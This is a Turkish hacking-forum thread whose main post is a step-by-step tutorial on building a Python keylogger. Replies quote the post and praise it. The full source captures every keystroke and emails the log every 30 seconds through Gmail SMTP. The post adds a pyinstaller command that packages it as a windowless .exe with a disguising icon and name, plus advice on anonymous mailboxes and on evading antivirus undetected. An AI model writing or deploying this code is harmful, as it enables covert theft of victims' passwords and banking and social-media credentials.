Kendi "KEYLOGGER"ını kendin yaz!

w1sd0m

Katılımcı Üye
28 Mar 2020
699
631
𐱃𐰀𐰢𐰴
by w1sd0m


BASIC PYTHON KEYLOGGER


4wbehy8.png


Merhaba dostlarım, bu makalede sizlere "Python3" ile yazabileceğiniz basit bir "Keylogger" örneği göstereceğim.
Piyasada stabil, uzun ömürlü, %100 güvenli bir "Keylogger" yada "Keylogger içeren RAT" maalesef kalamıyor.
Ee, sadece keylogger için RAT bulmak, port açmak gibi sıkıntılara girmek istemeyen arkadaşlarımız ne yapacak?

Cevabını bu makalede bulacaksınız.


|

|
|

v



What's a Keylogger?



58wrlid.png


Bir "Keylogger" adından da anlaşılacağı üzere, kullanıcının sistemde girdi yaptığı tuş vuruşlarının kaydedilmesini sağlayan bir virüs türüdür.
Son derece tehlikeli olmalarının sebebi, aktif edildikleri anda cihazda yazılan,basılan her tuş karakterini kayıt ettiklerinden önemli banka hesaplarını, sosyal medya hesaplarını vb. kolaylıkla kötü niyetli korsanın görmesine izin vermesidir.



Peki, kendi "Keylogger"ımı nasıl yazabilirim?



qqt6mls.png


Öncelikle bu makalede sizlere "Python3" ile nasıl keylogger yazıldığını göstereceğim.
Bu sebebten ötürü cihazınızda "
Python3" yüklü olduğundan emin olun.

Daha sonra her hangi bir klasöre "
.py" uzantılı bir python dosyası oluşturalım.


bmcwvgk.png


Ardından bu keyloggerda ihtiyacımız olacak kütüphaneleri "import" edelim.

7tg40tx.png


"pynput" -> "Tuş vuruşlarını dinlemeye almamızı kolaylaştıran kütüphane"
"smtplib" -> "SMTP sunucularına bağlanıp kayıt ettiğimiz tuşları email yolu ile elde etmemizi sağlayan kütüphane"
"threading" -> "Python'da paralel işlem yapmamızı sağlayan kütüphane"

Burada IDE bizi "pynput" hakkında uyarıyor. Bu uyarının sebebi, bu kütüphaneyi cihazımıza indirmemiş olmamızdır.
Hemen indirelim, böylece python deneyimi yaşamamış arkadaşlar nasıl bir kütüphane indirilir onu görmüş olurlar.


htrwzzx.png

oh6u0x7.png


Kütüphaneyi cihaza yüklediğimiz anda sorunun ortadan kalktığını görüyoruz.
Devam edelim.

Şimdi ilk fonksiyonumuz olacak olan "
callback" fonksiyonunu yazmaya başlayalım.
Sizler fonkisyon isimlerinde özgürsünüz, ancak büyük harf ve türkçe karakter kullanmamaya özen gösterin.


p62rdu8.png


Öncelikle "log" adında bir değişken oluşturduk. Bu değişken, dinlediğimiz tuşları içerisinde barındıracak bir değişken olacak.
Ardından "callback" adlı bir fonksiyon oluşturduk ve "keys" adında bir parametre verdik. Bu, fonksiyon çağrılırken içerisine bir parametre alacağını gösterir.
Daha sonra "log" adlı değişkenimizi "global" anahtarı ile fonksiyonun içerisine aldık.
Bu "
global" anahtarı bizlere burada, fonksiyonun dışarısında tanımlanan değişkenimizi fonksiyonun içerisinde de kullanmamıza imkan vermiş oluyor.


puigqq5.png


Bu adımda ise, bir "try-except" bloğu açarak tuş ayarlarını bu bloğun içine yazdık.
9.satırda program duyduğu tuşları "string" formatta "log" değişkenine yazmayı deneyecek.
Eğer burada bir sorun yaşarsa "
except" tarafına yönlendirilecek.
Burada 5 adet kural yazdık. Bunlar;
1- "
space" tuşuna basılırsa boşluk bırak
2- "
Geri/silme" tuşuna basılırsa tuşun adını yaz (Burada yazılan karakteri basit bir kodla silebilirsiniz, ödev olsun:) )
3- "
enter" tuşuna basılırsa alt satıra geç
4- "
capslock" tuşuna basılırsa tuşun adını yaz
5- bu kuralla takılmayan olursa direk kendisini yaz

Kural tanımlarını yaptık, tuşları tutacak değişken de belirledik, peki bunları mailimize nasıl alacağız?

Bu adımda da mail gönderimi yapacak bir fonksiyon yazacağız.
"
smtp" kütüphanesinden yararlanacağız

s
b1j6p5l.png


"sending_mail" adlı bir fonksiyon oluşturduk ve bu fonksiyona 3 adet parametre verdik.
Ardından smtp sunucularına bağlantı kurduk ve parametrelerimizi yerleştirdik.
Burada değişiklik yapmanıza gerek yok, standart bir kalıp gibi kullanabilirsiniz.

Şimdi ise programın aynı anda hem tuşları dinlemesini hemde bunları kaydedip bize göndermesi konusunda bize yardım edecek olan "
threading" modülünü kullanalım.


jp6myww.png


"thread" adında bir fonksiyon oluşturduk.
Bu fonksiyon içerisine "log" değişkenimizi aldık.
24.satırda bulunan "
sending_mail" fonksiyonumuzu burada çağırdık ve bizden istediği parametreleri girdik.
Buradaki "
email_address" -> "sizin mail adresiniz", "password" -> "bu mail adresinin parolası".
Fake ve anonim bir mail adresi kullanmanızı öneririm. Sebebi ise, keylogger'ı incelemeye alırlar ise mail adresinizi alırlar.
33.satırda ise "
log" değişkenimizi sıfırlıyoruz.
Daha sonra bir zamanlayıcı yazıyoruz. Burada "
30" -> saniye cinsindendir. İstediğinizi yazabilirsiniz.

Son olarak ise dinleme bloğumuzu da yazalım ve işi bitirelim.

jvqk70n.png


Artık kodlarımız hazır.
Python:
#the following lines of code were written by w1sd0m
import pynput.keyboard
from pynput.keyboard import Listener
import smtplib
import threading
log="--Starting--"
def callback(keys):
    global log
    print("")
    try:
        log +=str(keys.char)
    except AttributeError:
        if keys == keys.space:
            log +=" "
        elif keys == keys.backspace:
            log +=" BACKSPACE "
        elif keys == keys.enter:
            log += "\n"
        elif keys == keys.caps_lock:
            log += " CAPSLOCK "
        else:
            log +=str(keys)
    print(log)

def sending_mail(email,passwd,message):
    service = smtplib.SMTP("smtp.gmail.com", 587)
    service.starttls()
    service.login(email,passwd)
    service.sendmail(email,email,message)
    service.quit()

def thread():
    global log
    sending_mail("email_address","password",log)
    log = ""
    timer = threading.Timer(30,thread)
    timer.start()

listener = pynput.keyboard.Listener(on_press=callback)
with listener:
    thread()
    listener.join()


Bakınız bu keylogger, olayın mantığını ve kendi virüslerinizi yazmanızda motive olmanız açısından tarafımca basitçe yazılmıştır.
Sizlerden istediğim, yazacağınız bunun gibi kodları çeşitli "
FUD" teknikleri ile, yazılım bilginiz ile,varsa güzel toollar ile encrypt etmeniz.
Bu konuyu araştırın ve fudladığınız virüsleri "VirusTotal" gibi rapor gönderen sitelere yüklemeyin. Rapor göndermeyenlere yükleyin yada sanal makine kurun ve antiler yakalıyormu bi bakın.


E7ge7s.png



Birde sizlere bu ".py" uzantılı virüsünüzü nasıl ".exe" formatına sokulduğunu göstereyim.
Belki henüz öğrememiş arkadaşlar vardır.

Öncelikle bize bu konuda yardım edecek olan "
pyinstaller" modülünü cihazımıza yükleyelim.

pip3 install pyinstaller

cy68ffg.png


Modülü cihaza indirdik.
Ardından, bizim bu keylogger ile istediğiniz bir "
.ico" uzantılı ikon dosyasını aynı klasöre alalım.


5okiadq.png


Daha sonra bu klasörün konumunda "cmd" komut istemcisini çalıştıralım ve "pyinstaller" modülü ile hem keylogger'ımızı ".exe" yapalım hemde ikon ekleyelim.

pyinstaller --onefile --icon <ikon_dosyanızın_adı> <keylogger_dosyanızın_adı> --noconsole

kgpqb7t.png


Yukarıdaki kodu çalıştırdığınızda işlem başlayacaktır ve böyle bir sonuç aldığınızda işleminiz tamamlanmış anlamına gelecektir.

Yeni "
.exe" uzantılı keylogger'ınıza da ikon ile alakalı güzel bir isim koyduğunuzda daha inandırıcı olacaktır.


7rbtvas.png


İşlemlerimiz bu kadardı dostlarım.
Şimdi çalıştıralım ve sonuçları görelim.


lahpgys.png


7k1p51z.png


40lqevm.png


Görüldüğü üzere "I'm not keylogger bro.exe" adlı keylogger'ımız sağlık bir şekilde çalışıyor.
"Neden karakter silmiyor da BACKSPACE yazıyor", "Neden büyük harf yapmadı da CAPSLOCK yazdı" şeklinde sorularınız olacaktır.
Bu işlemler birkaç satır kod ile halledilebiliyor ve sizlerin bunu araştırmasını istiyorum.

Böylece kendi tasarımınızı yapmış olacaksınız.


540szyc.png



Sürekli "son olarak" diyorum diyorum ama bir türlü konuyu kapatamıyorum :)
Son olarak, mail almada hata yaşayanlarınız olabilir.
Mail gelmiyor ise aşağıya bırakacağım link üzerinden "gmail hesaplar için" göstereceğim alanı seçmeniz sorunu çözecektir.

LINK
s0fo3c4.png



^
|
|

|


Değerli dostlarım, güzel kardeşlerim;
Yazılım bilginizi geliştirmek ve kendi virüslerinizi yazmak istediğinizi biliyorum.
Bilmeyen, cesaret edemeyen, yapamam diyen dostlarımız var.
Bu makale sizlere bir başlangıç noktası olur umarım.
İstenildiğinde herşey mümkün.


Sağlıcakla kalın.






h3o5p20.png
 
Son düzenleme:

Helmsys

Ar-Ge Ekibi Kıdemli
16 Mar 2022
1,494
1,654
Güzel bir anlatım sergilenmiş. Acaba diyorum konuyu taşıyıp Python adı altında mı açsanız. Çünkü anlatılan birçok şey Python içerdiğinden diyorum. Bunun dışında da bilgisizliğinizden değil ayrıntılı bilgi vermeye çalışırken gözden kaçan "global" anahtar kelimesini açıklamamışsınız. Onu da ekleyerek 9/10 olan konunuz 10/10 olur.
Elinize sağlık
 

w1sd0m

Katılımcı Üye
28 Mar 2020
699
631
𐱃𐰀𐰢𐰴
Güzel bir anlatım sergilenmiş. Acaba diyorum konuyu taşıyıp Python adı altında mı açsanız. Çünkü anlatılan birçok şey Python içerdiğinden diyorum. Bunun dışında da bilgisizliğinizden değil ayrıntılı bilgi vermeye çalışırken gözden kaçan "global" anahtar kelimesini açıklamamışsınız. Onu da ekleyerek 9/10 olan konunuz 10/10 olur.
Elinize sağlık
Değerli eleştiriniz için teşekkür ederim. ❤️
Aslında ayrıntılara değinmeden geçmek istemiyorum makalelerimde, ancak burada "global" için değinmeyi unutmuşum. Hatırlattığınız için teşekkürler :)
Konu taşıma önerisinde ise, konuyu taşımayı düşünmüyorum. Nitekim "Python" bölümünde daha çok dili tanımak,legal projelerle kendini geliştirmek, sektöre hazırlık ve sektör içi konuların paylaşılması gerektiğini düşünüyorum. :)
 

mqd4d

Yeni üye
2 Nis 2022
12
3
by w1sd0m


BASIC PYTHON KEYLOGGER


4wbehy8.png


Merhaba dostlarım, bu makalede sizlere "Python3" ile yazabileceğiniz basit bir "Keylogger" örneği göstereceğim.
Piyasada stabil, uzun ömürlü, %100 güvenli bir "Keylogger" yada "Keylogger içeren RAT" maalesef kalamıyor.
Ee, sadece keylogger için RAT bulmak, port açmak gibi sıkıntılara girmek istemeyen arkadaşlarımız ne yapacak?

Cevabını bu makalede bulacaksınız.


|

|
|

v



What's a Keylogger?



58wrlid.png


Bir "Keylogger" adından da anlaşılacağı üzere, kullanıcının sistemde girdi yaptığı tuş vuruşlarının kaydedilmesini sağlayan bir virüs türüdür.
Son derece tehlikeli olmalarının sebebi, aktif edildikleri anda cihazda yazılan,basılan her tuş karakterini kayıt ettiklerinden önemli banka hesaplarını, sosyal medya hesaplarını vb. kolaylıkla kötü niyetli korsanın görmesine izin vermesidir.



Peki, kendi "Keylogger"ımı nasıl yazabilirim?



qqt6mls.png


Öncelikle bu makalede sizlere "Python3" ile nasıl keylogger yazıldığını göstereceğim.
Bu sebebten ötürü cihazınızda "
Python3" yüklü olduğundan emin olun.

Daha sonra her hangi bir klasöre "
.py" uzantılı bir python dosyası oluşturalım.


bmcwvgk.png


Ardından bu keyloggerda ihtiyacımız olacak kütüphaneleri "import" edelim.

7tg40tx.png


"pynput" -> "Tuş vuruşlarını dinlemeye almamızı kolaylaştıran kütüphane"
"smtplib" -> "SMTP sunucularına bağlanıp kayıt ettiğimiz tuşları email yolu ile elde etmemizi sağlayan kütüphane"
"threading" -> "Python'da paralel işlem yapmamızı sağlayan kütüphane"

Burada IDE bizi "pynput" hakkında uyarıyor. Bu uyarının sebebi, bu kütüphaneyi cihazımıza indirmemiş olmamızdır.
Hemen indirelim, böylece python deneyimi yaşamamış arkadaşlar nasıl bir kütüphane indirilir onu görmüş olurlar.


htrwzzx.png

oh6u0x7.png


Kütüphaneyi cihaza yüklediğimiz anda sorunun ortadan kalktığını görüyoruz.
Devam edelim.

Şimdi ilk fonksiyonumuz olacak olan "
callback" fonksiyonunu yazmaya başlayalım.
Sizler fonkisyon isimlerinde özgürsünüz, ancak büyük harf ve türkçe karakter kullanmamaya özen gösterin.


p62rdu8.png


Öncelikle "log" adında bir değişken oluşturduk. Bu değişken, dinlediğimiz tuşları içerisinde barındıracak bir değişken olacak.
Ardından "callback" adlı bir fonksiyon oluşturduk ve "keys" adında bir parametre verdik. Bu, fonksiyon çağrılırken içerisine bir parametre alacağını gösterir.
Daha sonra "log" adlı değişkenimizi "global" anahtarı ile fonksiyonun içerisine aldık.
Bu "
global" anahtarı bizlere burada, fonksiyonun dışarısında tanımlanan değişkenimizi fonksiyonun içerisinde de kullanmamıza imkan vermiş oluyor.


puigqq5.png


Bu adımda ise, bir "try-except" bloğu açarak tuş ayarlarını bu bloğun içine yazdık.
9.satırda program duyduğu tuşları "string" formatta "log" değişkenine yazmayı deneyecek.
Eğer burada bir sorun yaşarsa "
except" tarafına yönlendirilecek.
Burada 5 adet kural yazdık. Bunlar;
1- "
space" tuşuna basılırsa boşluk bırak
2- "
Geri/silme" tuşuna basılırsa tuşun adını yaz (Burada yazılan karakteri basit bir kodla silebilirsiniz, ödev olsun:) )
3- "
enter" tuşuna basılırsa alt satıra geç
4- "
capslock" tuşuna basılırsa tuşun adını yaz
5- bu kuralla takılmayan olursa direk kendisini yaz

Kural tanımlarını yaptık, tuşları tutacak değişken de belirledik, peki bunları mailimize nasıl alacağız?

Bu adımda da mail gönderimi yapacak bir fonksiyon yazacağız.
"
smtp" kütüphanesinden yararlanacağız

s
b1j6p5l.png


"sending_mail" adlı bir fonksiyon oluşturduk ve bu fonksiyona 3 adet parametre verdik.
Ardından smtp sunucularına bağlantı kurduk ve parametrelerimizi yerleştirdik.
Burada değişiklik yapmanıza gerek yok, standart bir kalıp gibi kullanabilirsiniz.

Şimdi ise programın aynı anda hem tuşları dinlemesini hemde bunları kaydedip bize göndermesi konusunda bize yardım edecek olan "
threading" modülünü kullanalım.


jp6myww.png


"thread" adında bir fonksiyon oluşturduk.
Bu fonksiyon içerisine "log" değişkenimizi aldık.
24.satırda bulunan "
sending_mail" fonksiyonumuzu burada çağırdık ve bizden istediği parametreleri girdik.
Buradaki "
email_address" -> "sizin mail adresiniz", "password" -> "bu mail adresinin parolası".
Fake ve anonim bir mail adresi kullanmanızı öneririm. Sebebi ise, keylogger'ı incelemeye alırlar ise mail adresinizi alırlar.
33.satırda ise "
log" değişkenimizi sıfırlıyoruz.
Daha sonra bir zamanlayıcı yazıyoruz. Burada "
30" -> saniye cinsindendir. İstediğinizi yazabilirsiniz.

Son olarak ise dinleme bloğumuzu da yazalım ve işi bitirelim.

jvqk70n.png


Artık kodlarımız hazır.
Python:
#the following lines of code were written by w1sd0m
import pynput.keyboard
from pynput.keyboard import Listener
import smtplib
import threading
log="--Starting--"
def callback(keys):
    global log
    print("")
    try:
        log +=str(keys.char)
    except AttributeError:
        if keys == keys.space:
            log +=" "
        elif keys == keys.backspace:
            log +=" BACKSPACE "
        elif keys == keys.enter:
            log += "\n"
        elif keys == keys.caps_lock:
            log += " CAPSLOCK "
        else:
            log +=str(keys)
    print(log)

def sending_mail(email,passwd,message):
    service = smtplib.SMTP("smtp.gmail.com", 587)
    service.starttls()
    service.login(email,passwd)
    service.sendmail(email,email,message)
    service.quit()

def thread():
    global log
    sending_mail("email_address","password",log)
    log = ""
    timer = threading.Timer(30,thread)
    timer.start()

listener = pynput.keyboard.Listener(on_press=callback)
with listener:
    thread()
    listener.join()


Bakınız bu keylogger, olayın mantığını ve kendi virüslerinizi yazmanızda motive olmanız açısından tarafımca basitçe yazılmıştır.
Sizlerden istediğim, yazacağınız bunun gibi kodları çeşitli "
FUD" teknikleri ile, yazılım bilginiz ile,varsa güzel toollar ile encrypt etmeniz.
Bu konuyu araştırın ve fudladığınız virüsleri "VirusTotal" gibi rapor gönderen sitelere yüklemeyin. Rapor göndermeyenlere yükleyin yada sanal makine kurun ve antiler yakalıyormu bi bakın.


E7ge7s.png



Birde sizlere bu ".py" uzantılı virüsünüzü nasıl ".exe" formatına sokulduğunu göstereyim.
Belki henüz öğrememiş arkadaşlar vardır.

Öncelikle bize bu konuda yardım edecek olan "
pyinstaller" modülünü cihazımıza yükleyelim.

pip3 install pyinstaller

cy68ffg.png


Modülü cihaza indirdik.
Ardından, bizim bu keylogger ile istediğiniz bir "
.ico" uzantılı ikon dosyasını aynı klasöre alalım.


5okiadq.png


Daha sonra bu klasörün konumunda "cmd" komut istemcisini çalıştıralım ve "pyinstaller" modülü ile hem keylogger'ımızı ".exe" yapalım hemde ikon ekleyelim.

pyinstaller --onefile --icon <ikon_dosyanızın_adı> <keylogger_dosyanızın_adı> --noconsole

kgpqb7t.png


Yukarıdaki kodu çalıştırdığınızda işlem başlayacaktır ve böyle bir sonuç aldığınızda işleminiz tamamlanmış anlamına gelecektir.

Yeni "
.exe" uzantılı keylogger'ınıza da ikon ile alakalı güzel bir isim koyduğunuzda daha inandırıcı olacaktır.


7rbtvas.png


İşlemlerimiz bu kadardı dostlarım.
Şimdi çalıştıralım ve sonuçları görelim.


lahpgys.png


7k1p51z.png


40lqevm.png


Görüldüğü üzere "I'm not keylogger bro.exe" adlı keylogger'ımız sağlık bir şekilde çalışıyor.
"Neden karakter silmiyor da BACKSPACE yazıyor", "Neden büyük harf yapmadı da CAPSLOCK yazdı" şeklinde sorularınız olacaktır.
Bu işlemler birkaç satır kod ile halledilebiliyor ve sizlerin bunu araştırmasını istiyorum.

Böylece kendi tasarımınızı yapmış olacaksınız.


540szyc.png



Sürekli "son olarak" diyorum diyorum ama bir türlü konuyu kapatamıyorum :)
Son olarak, mail almada hata yaşayanlarınız olabilir.
Mail gelmiyor ise aşağıya bırakacağım link üzerinden "gmail hesaplar için" göstereceğim alanı seçmeniz sorunu çözecektir.

LINK
s0fo3c4.png



^
|
|

|


Değerli dostlarım, güzel kardeşlerim;
Yazılım bilginizi geliştirmek ve kendi virüslerinizi yazmak istediğinizi biliyorum.
Bilmeyen, cesaret edemeyen, yapamam diyen dostlarımız var.
Bu makale sizlere bir başlangıç noktası olur umarım.
İstenildiğinde herşey mümkün.


Sağlıcakla kalın.






h3o5p20.png
sen kralsın
 

omerf200021

Yeni üye
20 Şub 2022
1
0
ikonla keyloggeri birleştirme esnasında verdiginiz kodu yazıyorum fakat < was unexpected at this time. hatası çıkıyor
 

Woffluon

Katılımcı Üye
7 Tem 2021
284
95
by w1sd0m


BASIC PYTHON KEYLOGGER


4wbehy8.png


Merhaba dostlarım, bu makalede sizlere "Python3" ile yazabileceğiniz basit bir "Keylogger" örneği göstereceğim.
Piyasada stabil, uzun ömürlü, %100 güvenli bir "Keylogger" yada "Keylogger içeren RAT" maalesef kalamıyor.
Ee, sadece keylogger için RAT bulmak, port açmak gibi sıkıntılara girmek istemeyen arkadaşlarımız ne yapacak?

Cevabını bu makalede bulacaksınız.


|

|
|

v



What's a Keylogger?



58wrlid.png


Bir "Keylogger" adından da anlaşılacağı üzere, kullanıcının sistemde girdi yaptığı tuş vuruşlarının kaydedilmesini sağlayan bir virüs türüdür.
Son derece tehlikeli olmalarının sebebi, aktif edildikleri anda cihazda yazılan,basılan her tuş karakterini kayıt ettiklerinden önemli banka hesaplarını, sosyal medya hesaplarını vb. kolaylıkla kötü niyetli korsanın görmesine izin vermesidir.



Peki, kendi "Keylogger"ımı nasıl yazabilirim?



qqt6mls.png


Öncelikle bu makalede sizlere "Python3" ile nasıl keylogger yazıldığını göstereceğim.
Bu sebebten ötürü cihazınızda "
Python3" yüklü olduğundan emin olun.

Daha sonra her hangi bir klasöre "
.py" uzantılı bir python dosyası oluşturalım.


bmcwvgk.png


Ardından bu keyloggerda ihtiyacımız olacak kütüphaneleri "import" edelim.

7tg40tx.png


"pynput" -> "Tuş vuruşlarını dinlemeye almamızı kolaylaştıran kütüphane"
"smtplib" -> "SMTP sunucularına bağlanıp kayıt ettiğimiz tuşları email yolu ile elde etmemizi sağlayan kütüphane"
"threading" -> "Python'da paralel işlem yapmamızı sağlayan kütüphane"

Burada IDE bizi "pynput" hakkında uyarıyor. Bu uyarının sebebi, bu kütüphaneyi cihazımıza indirmemiş olmamızdır.
Hemen indirelim, böylece python deneyimi yaşamamış arkadaşlar nasıl bir kütüphane indirilir onu görmüş olurlar.


htrwzzx.png

oh6u0x7.png


Kütüphaneyi cihaza yüklediğimiz anda sorunun ortadan kalktığını görüyoruz.
Devam edelim.

Şimdi ilk fonksiyonumuz olacak olan "
callback" fonksiyonunu yazmaya başlayalım.
Sizler fonkisyon isimlerinde özgürsünüz, ancak büyük harf ve türkçe karakter kullanmamaya özen gösterin.


p62rdu8.png


Öncelikle "log" adında bir değişken oluşturduk. Bu değişken, dinlediğimiz tuşları içerisinde barındıracak bir değişken olacak.
Ardından "callback" adlı bir fonksiyon oluşturduk ve "keys" adında bir parametre verdik. Bu, fonksiyon çağrılırken içerisine bir parametre alacağını gösterir.
Daha sonra "log" adlı değişkenimizi "global" anahtarı ile fonksiyonun içerisine aldık.
Bu "
global" anahtarı bizlere burada, fonksiyonun dışarısında tanımlanan değişkenimizi fonksiyonun içerisinde de kullanmamıza imkan vermiş oluyor.


puigqq5.png


Bu adımda ise, bir "try-except" bloğu açarak tuş ayarlarını bu bloğun içine yazdık.
9.satırda program duyduğu tuşları "string" formatta "log" değişkenine yazmayı deneyecek.
Eğer burada bir sorun yaşarsa "
except" tarafına yönlendirilecek.
Burada 5 adet kural yazdık. Bunlar;
1- "
space" tuşuna basılırsa boşluk bırak
2- "
Geri/silme" tuşuna basılırsa tuşun adını yaz (Burada yazılan karakteri basit bir kodla silebilirsiniz, ödev olsun:) )
3- "
enter" tuşuna basılırsa alt satıra geç
4- "
capslock" tuşuna basılırsa tuşun adını yaz
5- bu kuralla takılmayan olursa direk kendisini yaz

Kural tanımlarını yaptık, tuşları tutacak değişken de belirledik, peki bunları mailimize nasıl alacağız?

Bu adımda da mail gönderimi yapacak bir fonksiyon yazacağız.
"
smtp" kütüphanesinden yararlanacağız

s
b1j6p5l.png


"sending_mail" adlı bir fonksiyon oluşturduk ve bu fonksiyona 3 adet parametre verdik.
Ardından smtp sunucularına bağlantı kurduk ve parametrelerimizi yerleştirdik.
Burada değişiklik yapmanıza gerek yok, standart bir kalıp gibi kullanabilirsiniz.

Şimdi ise programın aynı anda hem tuşları dinlemesini hemde bunları kaydedip bize göndermesi konusunda bize yardım edecek olan "
threading" modülünü kullanalım.


jp6myww.png


"thread" adında bir fonksiyon oluşturduk.
Bu fonksiyon içerisine "log" değişkenimizi aldık.
24.satırda bulunan "
sending_mail" fonksiyonumuzu burada çağırdık ve bizden istediği parametreleri girdik.
Buradaki "
email_address" -> "sizin mail adresiniz", "password" -> "bu mail adresinin parolası".
Fake ve anonim bir mail adresi kullanmanızı öneririm. Sebebi ise, keylogger'ı incelemeye alırlar ise mail adresinizi alırlar.
33.satırda ise "
log" değişkenimizi sıfırlıyoruz.
Daha sonra bir zamanlayıcı yazıyoruz. Burada "
30" -> saniye cinsindendir. İstediğinizi yazabilirsiniz.

Son olarak ise dinleme bloğumuzu da yazalım ve işi bitirelim.

jvqk70n.png


Artık kodlarımız hazır.
Python:
#the following lines of code were written by w1sd0m
import pynput.keyboard
from pynput.keyboard import Listener
import smtplib
import threading
log="--Starting--"
def callback(keys):
    global log
    print("")
    try:
        log +=str(keys.char)
    except AttributeError:
        if keys == keys.space:
            log +=" "
        elif keys == keys.backspace:
            log +=" BACKSPACE "
        elif keys == keys.enter:
            log += "\n"
        elif keys == keys.caps_lock:
            log += " CAPSLOCK "
        else:
            log +=str(keys)
    print(log)

def sending_mail(email,passwd,message):
    service = smtplib.SMTP("smtp.gmail.com", 587)
    service.starttls()
    service.login(email,passwd)
    service.sendmail(email,email,message)
    service.quit()

def thread():
    global log
    sending_mail("email_address","password",log)
    log = ""
    timer = threading.Timer(30,thread)
    timer.start()

listener = pynput.keyboard.Listener(on_press=callback)
with listener:
    thread()
    listener.join()


Bakınız bu keylogger, olayın mantığını ve kendi virüslerinizi yazmanızda motive olmanız açısından tarafımca basitçe yazılmıştır.
Sizlerden istediğim, yazacağınız bunun gibi kodları çeşitli "
FUD" teknikleri ile, yazılım bilginiz ile,varsa güzel toollar ile encrypt etmeniz.
Bu konuyu araştırın ve fudladığınız virüsleri "VirusTotal" gibi rapor gönderen sitelere yüklemeyin. Rapor göndermeyenlere yükleyin yada sanal makine kurun ve antiler yakalıyormu bi bakın.


E7ge7s.png



Birde sizlere bu ".py" uzantılı virüsünüzü nasıl ".exe" formatına sokulduğunu göstereyim.
Belki henüz öğrememiş arkadaşlar vardır.

Öncelikle bize bu konuda yardım edecek olan "
pyinstaller" modülünü cihazımıza yükleyelim.

pip3 install pyinstaller

cy68ffg.png


Modülü cihaza indirdik.
Ardından, bizim bu keylogger ile istediğiniz bir "
.ico" uzantılı ikon dosyasını aynı klasöre alalım.


5okiadq.png


Daha sonra bu klasörün konumunda "cmd" komut istemcisini çalıştıralım ve "pyinstaller" modülü ile hem keylogger'ımızı ".exe" yapalım hemde ikon ekleyelim.

pyinstaller --onefile --icon <ikon_dosyanızın_adı> <keylogger_dosyanızın_adı> --noconsole

kgpqb7t.png


Yukarıdaki kodu çalıştırdığınızda işlem başlayacaktır ve böyle bir sonuç aldığınızda işleminiz tamamlanmış anlamına gelecektir.

Yeni "
.exe" uzantılı keylogger'ınıza da ikon ile alakalı güzel bir isim koyduğunuzda daha inandırıcı olacaktır.


7rbtvas.png


İşlemlerimiz bu kadardı dostlarım.
Şimdi çalıştıralım ve sonuçları görelim.


lahpgys.png


7k1p51z.png


40lqevm.png


Görüldüğü üzere "I'm not keylogger bro.exe" adlı keylogger'ımız sağlık bir şekilde çalışıyor.
"Neden karakter silmiyor da BACKSPACE yazıyor", "Neden büyük harf yapmadı da CAPSLOCK yazdı" şeklinde sorularınız olacaktır.
Bu işlemler birkaç satır kod ile halledilebiliyor ve sizlerin bunu araştırmasını istiyorum.

Böylece kendi tasarımınızı yapmış olacaksınız.


540szyc.png



Sürekli "son olarak" diyorum diyorum ama bir türlü konuyu kapatamıyorum :)
Son olarak, mail almada hata yaşayanlarınız olabilir.
Mail gelmiyor ise aşağıya bırakacağım link üzerinden "gmail hesaplar için" göstereceğim alanı seçmeniz sorunu çözecektir.

LINK
s0fo3c4.png



^
|
|

|


Değerli dostlarım, güzel kardeşlerim;
Yazılım bilginizi geliştirmek ve kendi virüslerinizi yazmak istediğinizi biliyorum.
Bilmeyen, cesaret edemeyen, yapamam diyen dostlarımız var.
Bu makale sizlere bir başlangıç noktası olur umarım.
İstenildiğinde herşey mümkün.


Sağlıcakla kalın.






h3o5p20.png
Eline sağlık dostum güzel bir konu oluş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.